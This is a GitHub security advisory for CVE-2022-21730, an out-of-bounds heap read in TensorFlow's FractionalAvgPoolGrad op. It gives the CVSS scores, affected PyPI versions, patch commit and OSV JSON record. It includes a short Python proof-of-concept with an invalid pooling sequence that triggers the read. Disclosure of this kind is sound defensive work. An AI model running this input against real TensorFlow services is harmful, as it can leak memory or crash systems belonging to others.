ghsa-vjg4-v33c-ggc4
Vulnerability from github
7.2 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
Impact
The implementation of FractionalAvgPoolGrad
does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:
```python import tensorflow as tf
@tf.function def test(): y = tf.raw_ops.FractionalAvgPoolGrad( orig_input_tensor_shape=[2,2,2,2], out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]], row_pooling_sequence=[-10,1,2,3], col_pooling_sequence=[1,2,3,4], overlapping=True) return y
test() ```
Patches
We have patched the issue in GitHub commit 002408c3696b173863228223d535f9de72a101a9.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.5.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.6.0" }, { "fixed": "2.6.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.7.0" }, { "fixed": "2.7.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.7.0" ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.5.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.6.0" }, { "fixed": "2.6.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.7.0" }, { "fixed": "2.7.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.7.0" ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.5.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.6.0" }, { "fixed": "2.6.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.7.0" }, { "fixed": "2.7.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.7.0" ] } ], "aliases": [ "CVE-2022-21730" ], "database_specific": { "cwe_ids": [ "CWE-125" ], "github_reviewed": true, "github_reviewed_at": "2022-02-03T18:36:19Z", "nvd_published_at": "2022-02-03T11:15:00Z", "severity": "HIGH" }, "details": "### Impact \nThe [implementation of `FractionalAvgPoolGrad`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360) does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n y = tf.raw_ops.FractionalAvgPoolGrad(\n orig_input_tensor_shape=[2,2,2,2],\n out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],\n row_pooling_sequence=[-10,1,2,3],\n col_pooling_sequence=[1,2,3,4],\n overlapping=True)\n return y\n \ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [002408c3696b173863228223d535f9de72a101a9](https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n \n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.", "id": "GHSA-vjg4-v33c-ggc4", "modified": "2024-11-13T22:11:42Z", "published": "2022-02-09T18:29:45Z", "references": [ { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vjg4-v33c-ggc4" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21730" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-54.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-109.yaml" }, { "type": "PACKAGE", "url": "https://github.com/tensorflow/tensorflow" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Out of bounds read in Tensorflow" }
Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.